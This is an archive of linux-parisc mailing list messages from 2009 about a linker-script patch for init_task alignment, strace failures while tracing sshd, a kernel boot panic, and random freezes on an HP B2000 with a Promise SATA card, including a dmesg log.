Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757285AbZEBWH5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 18:07:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755613AbZEBWH5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 18:07:57 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:38347 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754101AbZEBWH4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 18:07:56 -0400
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 44D93A50033;
	Sat,  2 May 2009 23:10:27 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 95640580D0; Sun,  3 May 2009 00:10:06 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49FBD681.9080605@gmx.de>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1643 gmane.linux.kernel:831233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1643>

On Sat, May 02, 2009 at 07:13:37AM +0200, Helge Deller wrote:
> Tim Abbott wrote:
> > .data.init_task should not need a separate output section; this change
> > moves it into the .data section.
> > 
> > Signed-off-by: Tim Abbott <tabbott@mit.edu>
> > Cc: Kyle McMartin <kyle@mcmartin.ca>
> > Cc: Helge Deller <deller@gmx.de>
> > Cc: linux-parisc@vger.kernel.org
> 
> 
> I think this patch is wrong, although it is theoretically correct.
> 
> IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
> why we have done the 16k alignment inside the linker script.
> So, I think this change will prevent the parisc kernel to boot up.
> Needs testing.

The patch does not do much...

> 
> Helge
> 
> > ---
> >  arch/parisc/kernel/init_task.c   |    2 +-
> >  arch/parisc/kernel/vmlinux.lds.S |   10 ++--------
> >  2 files changed, 3 insertions(+), 9 deletions(-)
> > 
> > diff --git a/arch/parisc/kernel/init_task.c b/arch/parisc/kernel/init_task.c
> > index 1e25a45..8ee17ea 100644
> > --- a/arch/parisc/kernel/init_task.c
> > +++ b/arch/parisc/kernel/init_task.c
> > @@ -48,7 +48,7 @@ EXPORT_SYMBOL(init_mm);
> >   * "init_task" linker map entry..
> >   */
> >  union thread_union init_thread_union
> > -	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
> > +	__attribute__((aligned(128))) __init_task_data =
> >  		{ INIT_THREAD_INFO(init_task) };
This is a simple replacement with a nicer way to say "this belongs to
the .data.init_task section - no functional difference.


> >  
> >  #if PT_NLEVELS == 3
> > diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
> > index b5936c9..c8a528d 100644
> > --- a/arch/parisc/kernel/vmlinux.lds.S
> > +++ b/arch/parisc/kernel/vmlinux.lds.S
> > @@ -103,6 +103,8 @@ SECTIONS
> >  	. = ALIGN(L1_CACHE_BYTES);
> >  	/* Data */
> >  	.data : {
> > +		/* assembler code expects init_task to be 16k aligned */
> > +		INIT_TASK_DATA(16384)
> >  		NOSAVE_DATA
> >  		CACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)
> >  		DATA_DATA
> > @@ -133,14 +135,6 @@ SECTIONS
> >  	}
> >  	__bss_stop = .;
> >  
> > -
> > -	/* assembler code expects init_task to be 16k aligned */
> > -	. = ALIGN(16384);
> > -	/* init_task */
> > -	.data.init_task : {
> > -		*(.data.init_task)
> > -	}
> > -
This part moves away from a specific output section to including this in the
.data output section - with the _same_ alignmnet.
So the only issue here is that we move init_task before NOSAVE_DATA etc.

I do not see why you think this changes alignmnet?

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 2 May 2009 18:34:59 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca>
References: <20080417075357.GB23641@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241303713 29292 80.91.229.12 (2 May 2009 22:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 22:35:13 +0000 (UTC)
Cc: matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 00:35:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0NnS-0006TQ-FY
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 00:35:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750963AbZEBWfB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 18:35:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751748AbZEBWfB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 18:35:01 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4527 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750963AbZEBWfA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 18:35:00 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BC8924EE8; Sat,  2 May 2009 18:34:59 -0400 (EDT)
In-Reply-To: <20080417075357.GB23641@phobos.i.cabal.ca> from "Kyle McMartin" at Apr 17, 2008 03:53:57 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1644 gmane.linux.debian.ports.hppa:5680
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1644>

Hi Kyle,

> On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > If you strace it, what syscall returns -EOPNOTSUPP?
> > 
> > strace is broken and quits before the relevant syscall.  Think I
> > mentioned this before is a different context.
> > 
> 
> Fixed & updated strace available at
> http://people.debian.org/~kyle/strace/

strace is either broken again or debian didn't pick up your fix.  The link
to your updated version is broken.

This happens when tracing sshd during a connection attempt with -f option:

strace -f -p 2390
Process 2390 attached - interrupt to quit
_newselect(7, [3 4], NULL, NULL, NULL
...
[pid  5627] open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
upeek: ptrace(PTRACE_PEEKUSER,5627,4294967292,0): Input/output error
Process 5627 detached
<... _newselect resumed> )              = 1 (in [6])

Trying to figure out why sshd sometimes does wierd stuff.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 2 May 2009 19:43:48 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20090502234348.GE28342@bombadil.infradead.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241307862 4628 80.91.229.12 (2 May 2009 23:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 23:44:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 01:44:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0OsN-0000oP-1C
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 01:44:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752301AbZEBXoI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 19:44:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752601AbZEBXoI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 19:44:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52138 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752301AbZEBXoH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 19:44:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M0Os0-0000xr-Pd; Sat, 02 May 2009 23:43:48 +0000
Content-Disposition: inline
In-Reply-To: <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1645 gmane.linux.debian.ports.hppa:5681
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1645>

On Sat, May 02, 2009 at 06:34:59PM -0400, John David Anglin wrote:
> Hi Kyle,
> 
> > On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > > If you strace it, what syscall returns -EOPNOTSUPP?
> > > 
> > > strace is broken and quits before the relevant syscall.  Think I
> > > mentioned this before is a different context.
> > > 
> > 
> > Fixed & updated strace available at
> > http://people.debian.org/~kyle/strace/
> 
> strace is either broken again or debian didn't pick up your fix.  The link
> to your updated version is broken.
> 
> This happens when tracing sshd during a connection attempt with -f option:
> 
> strace -f -p 2390
> Process 2390 attached - interrupt to quit
> _newselect(7, [3 4], NULL, NULL, NULL
> ...
> [pid  5627] open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
> upeek: ptrace(PTRACE_PEEKUSER,5627,4294967292,0): Input/output error
> Process 5627 detached
> <... _newselect resumed> )              = 1 (in [6])
> 
> Trying to figure out why sshd sometimes does wierd stuff.
> 

I'll take a look, the strace link is broken because sadly the debian
people didn't migrate the entirety of the people machine when they
brought in a new one.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic during init with 2.6.29-gb609308 (fresh clone of git
Date: Sat, 2 May 2009 20:48:46 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20090503004846.9BBCD4FC6@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241311742 11393 80.91.229.12 (3 May 2009 00:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 May 2009 00:49:02 +0000 (UTC)
Cc: T-Bone@parisc-linux.org, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 02:48:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0Psv-0008Cq-I1
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 02:48:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753035AbZECAsr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 20:48:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753039AbZECAsr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 20:48:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4538 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752899AbZECAsr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 20:48:47 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9BBCD4FC6; Sat,  2 May 2009 20:48:46 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at May 2, 2009 05:30:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1646>

> You might try building with the 4.1 branch.  I have had more luck
> with it.

I tried building 2.6.22.19 with debian 4.3.  Boot fails here:

md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
Freeing unused kernel memory: <0>------------[ cut here ]------------
Badness at 000000004011e44c [verbose debug info unavailable]
Backtrace:
Backtrace:
 [<00000000401128c0>] dump_stack+0x18/0x28

Have to hit 'RS' twice.  The first time there is a hpmc in the memory test:

#  Location|Alert| Encoded Field    |  Data Field    |   Keyword / Timestamp
-------------------------------------------------------------------------------
52951  SFW  0   0  0x030010D500E00000 0000000000000000 CPU_STOP
52950  SFW  0   2  0x438010EF00E01B50 00000000FFFFFFFF MEM_UNEXPECTED_HPMC
                                                      03 May 2009 00:35:26
52949  SFW  0   0  0x160000C400E00000 0000000280000000 MEM_INIT
52948  SFW  0   0  0x370000FB00E00000 000000F000004002 MEM_WARN_INIT_ONLY

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Sun, 3 May 2009 05:25:54 -0600
Lines: 450
Approved: news@gmane.org
Message-ID: <20090503112554.GB6617@lackof.org>
References: <49FB108B.9030803@ieee.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241349972 16039 80.91.229.12 (3 May 2009 11:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 May 2009 11:26:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 13:26:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0Zpa-00062W-M6
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 13:26:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752353AbZECLZ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 May 2009 07:25:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752528AbZECLZ7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 May 2009 07:25:59 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:37374 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752353AbZECLZz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 May 2009 07:25:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 719F433E0169;
	Sun,  3 May 2009 05:25:55 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YCTK9AxeB0bD; Sun,  3 May 2009 05:25:54 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 7DD201E2E53D; Sun,  3 May 2009 05:25:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <49FB108B.9030803@ieee.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1647>

[ moved debian-hppa to BCC and added linux-parisc to CC ]

On Fri, May 01, 2009 at 05:08:59PM +0200, Dirk Van Hertem wrote:
> hello,
> 
> My hppa box (B2000) experiences some problems: it freezes after a few
> (2-6) hours.
> 
> On the led display I get the following error codes:
> 
> FLT CBFC: SYS BD
> bus timeout
> OS HPMC bz err
> Bad OS HPMC len
> HPMC initiated

Hi Dirk,
Given the PCI listing you gave below, I agree the HPMC is likely caused by
the Promise SATA card.

> I don't have screen nor keyboard attached to it so debugging is a bit
> difficult.

AFAIK, the only way to debug this is to capture the HPMC dump.
The HPMC dump can only be capture via serial console. :(
(ie run "ser pim" at PDC prompt from a terminal emulator like minicom)

> 
> System:
> Debian lenny (stable), rather clean install
> 
> $ uname -a
> Linux coulomb 2.6.26-2-parisc #1 Fri Mar 27 03:29:17 UTC 2009 parisc
> GNU/Linux
> 
> 
> The machines has the following lspci:
> 
> 00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip
> 21142/43 (rev 41)
> 00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
> 00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560
> IDE (rev 03)
> 00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
> 00:0e.2 USB Controller: National Semiconductor Corporation USB
> Controller (rev 02)
> 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev 01)
> 01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
> 01:04.0 Mass storage controller: Promise Technology, Inc. PDC40718 (SATA
> 300 TX4) (rev 02)
> 
> Of which the last entry might well be the problem.
> 
> This is a promise card for my 3* 1TB sata disks. They seem to be
> initialized correctly, I made software raid with mdadm, but not I get
> the following:
> 
> $ cat /proc/mdstat
> Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5]
> [raid4] [raid10]
> md0 : active raid5 sdc1[0] sde1[3] sdd1[1]
>       1953519872 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
>       [=>...................]  recovery =  5.8% (56795292/976759936)
> finish=451.9min speed=33920K/sec
> 
> unused devices: <none>
> 
> This keeps on running for a few hours, until the machine gets unresponsive.
> 
> I don't think I get anything strange in syslog, kernel.log, messages,...
> 
> So, my questions:
> * Is this sata promise card the fault?

Likely, yes.

> * on the web, the errors on the display seemed to indicate hardware
> problems, but any insight on that?

HW caught the error. Unless this happens w/o Promise care present,
I'm not inclined to believe this is a HW problem.

> * Best ways to solve this?

Capture "ser pim" output (aka PIM dump).

> * Did I forget something?
> 
> Dirk
> 
> PS: Next thing I'll try is to remove the promise card to see if that was
> the problem
> PPS: dmesg in attach

thanks!
grant

> 
> -- 
> Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
> Electrical Engineering Department  http://www.esat.kuleuven.be/electa
> K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
> 10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85

> [    0.000000] Initializing cgroup subsys cpu
> [    0.000000] Linux version 2.6.26-2-parisc (Debian 2.6.26-15) (dannf@debian.org) (gcc version 4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 Fri Mar 27 03:29:17 UTC 2009
> [    0.000000] FP[0] enabled: Rev 1 Model 16
> [    0.000000] The 32-bit Kernel has started...
> [    0.000000] console [ttyB0] enabled
> [    0.000000] Initialized PDC Console for debugging.
> [    0.000000] Determining PDC firmware type: System Map.
> [    0.000000] model 00005d00 00000481 00000000 00000002 782d3480 100000f0 00000008 000000b2 000000b2
> [    0.000000] vers  00000301
> [    0.000000] CPUID vers 17 rev 11 (0x0000022b)
> [    0.000000] capabilities 0x3
> [    0.000000] model 9000/785/B2000
> [    0.000000] Total Memory: 1024 MB
> [    0.000000] initrd: 4f8ce000-4ffedfb5
> [    0.000000] initrd: reserving 3f8ce000-3ffedfb5 (mem_max 40000000)
> [    0.000000] On node 0 totalpages: 262144
> [    0.000000]   Normal zone: 2048 pages used for memmap
> [    0.000000]   Normal zone: 0 pages reserved
> [    0.000000]   Normal zone: 260096 pages, LIFO batch:31
> [    0.000000]   Movable zone: 0 pages used for memmap
> [    0.000000] LCD display at f05d0008,f05d0000 registered
> [    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 260096
> [    0.000000] Kernel command line: root=/dev/sdb5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
> [    0.000000] PID hash table entries: 4096 (order: 12, 16384 bytes)
> [17179569.184000] Console: colour dummy device 160x64
> [17179569.248000] Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
> [17179569.348000] Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
> [17179569.532000] Memory: 1026560k/1048576k available (1961k kernel code, 21792k reserved, 882k data, 224k init)
> [17179569.660000] virtual kernel memory layout:
> [17179569.660000]     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
> [17179569.660000]     memory  : 0x10000000 - 0x50000000   (1024 MB)
> [17179569.660000]       .init : 0x10410000 - 0x10448000   ( 224 kB)
> [17179569.660000]       .data : 0x102ea6b4 - 0x103c7000   ( 882 kB)
> [17179569.660000]       .text : 0x10100000 - 0x102ea6b4   (1961 kB)
> [17179570.112000] Calibrating delay loop... 798.72 BogoMIPS (lpj=1597440)
> [17179570.204000] Security Framework initialized
> [17179570.260000] SELinux:  Disabled at boot.
> [17179570.312000] Capability LSM initialized
> [17179570.368000] Mount-cache hash table entries: 512
> [17179570.428000] Initializing cgroup subsys ns
> [17179570.484000] Initializing cgroup subsys cpuacct
> [17179570.548000] Initializing cgroup subsys devices
> [17179570.612000] net_namespace: 648 bytes
> [17179570.660000] NET: Registered protocol family 16
> [17179570.724000] EISA bus registered
> [17179570.768000] Searching for devices...
> [17179571.020000] Found devices:
> [17179571.060000] 1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> [17179571.160000] 2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> [17179571.264000] 3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> [17179571.364000] 4. Kazoo W+ at 0xfffa0000 [32] { 0, 0x0, 0x5d0, 0x00004 }
> [17179571.452000] 5. Memory at 0xfed10200 [49] { 1, 0x0, 0x09d, 0x00009 }
> [17179571.536000] Enabling regular chassis codes support v0.05
> [17179571.736000] CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
> [17179571.812000] Whole cache flush 115727 cycles, flushing 3440640 bytes 467519 cycles
> [17179571.812000] Setting cache flush threshold to 1980 (1 CPUs online)
> [17179571.920000] SBA found Astro 2.1 at 0xfed00000
> [17179571.984000] Elroy version TR4.0 (0x5) found at 0xfed30000
> [17179572.060000] PCI: Enabled native mode for NS87415 (pif=0x8f)
> [17179572.140000] Elroy version TR4.0 (0x5) found at 0xfed32000
> [17179572.232000] powersw: Soft power switch at 0xf0400804 enabled.
> [17179572.324000] NET: Registered protocol family 2
> [17179572.424000] IP route cache hash table entries: 32768 (order: 5, 131072 bytes)
> [17179572.520000] TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
> [17179572.624000] TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
> [17179572.716000] TCP: Hash tables configured (established 131072 bind 65536)
> [17179572.808000] TCP reno registered
> [17179572.864000] NET: Registered protocol family 1
> [17179572.924000] checking if image is initramfs... it is
> [17179575.908000] Freeing initrd memory: 7295k freed
> [17179575.976000] Enabling PDC chassis warnings support v0.05
> [17179576.048000] unwind_init: start = 0x1035de10, end = 0x103850f0, entries = 10030
> [17179576.144000] WARNING: Out of order unwind entry! 1035f810 and 1035f820
> [17179576.232000] WARNING: Out of order unwind entry! 1035f820 and 1035f830
> [17179576.324000] audit: initializing netlink socket (disabled)
> [17179576.396000] type=2000 audit(1241188257.212:1): initialized
> [17179576.472000] VFS: Disk quotas dquot_6.5.1
> [17179576.528000] Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
> [17179576.620000] msgmni has been set to 2019
> [17179576.676000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 254)
> [17179576.776000] io scheduler noop registered
> [17179576.832000] io scheduler anticipatory registered
> [17179576.896000] io scheduler deadline registered
> [17179576.956000] io scheduler cfq registered (default)
> [17179577.020000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67) 
> [17179577.120000] SuperIO: Serial port 1 at 0x3f8
> [17179577.176000] SuperIO: Serial port 2 at 0x2f8
> [17179577.236000] SuperIO: Parallel port at 0x378
> [17179577.292000] SuperIO: Floppy controller at 0x3f0
> [17179577.356000] SuperIO: ACPI at 0x7e0
> [17179577.404000] SuperIO: USB regulator enabled
> [17179577.464000] PDC Stable Storage facility v0.30
> [17179577.836000] STI GSC/PCI core graphics driver Version 0.9a
> [17179577.912000] sti 0000:01:00.0: enabling SERR and PARITY (0046 -> 0146)
> [17179578.000000] STI PCI graphic ROM found at f4840000 (128 kB), fb at fb000000 (16 MB)
> [17179578.228000]     id 35acda16-9a02587, conforms to spec rev. 8.0c
> [17179578.312000]     graphics card name: HPA4982A
> [17179578.368000] sticon: Initializing STI text console.
> [17179578.436000] Console: switching to colour STI console 160x64
> [17179578.788000] stifb: 'HPA4982A' (id: 0x35acda16) not supported.
> [17179578.876000] Generic RTC Driver v1.07
> [17179578.928000] Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
> [17179579.036000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
> [17179579.116000] console handover: boot [ttyB0] -> real [ttyS0]
> [17179579.192000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
> [17179579.276000] brd: module loaded
> [17179579.316000] mice: PS/2 mouse device common for all mice
> [17179579.384000] TCP cubic registered
> [17179579.424000] NET: Registered protocol family 17
> [17179579.484000] registered taskstats version 1
> [17179579.536000] Freeing unused kernel memory: 224k freed
> [17179580.348000] SCSI subsystem initialized
> [17179581.996000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
> [17179582.080000] tulip0: no phy info, aborting mtable build
> [17179582.144000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
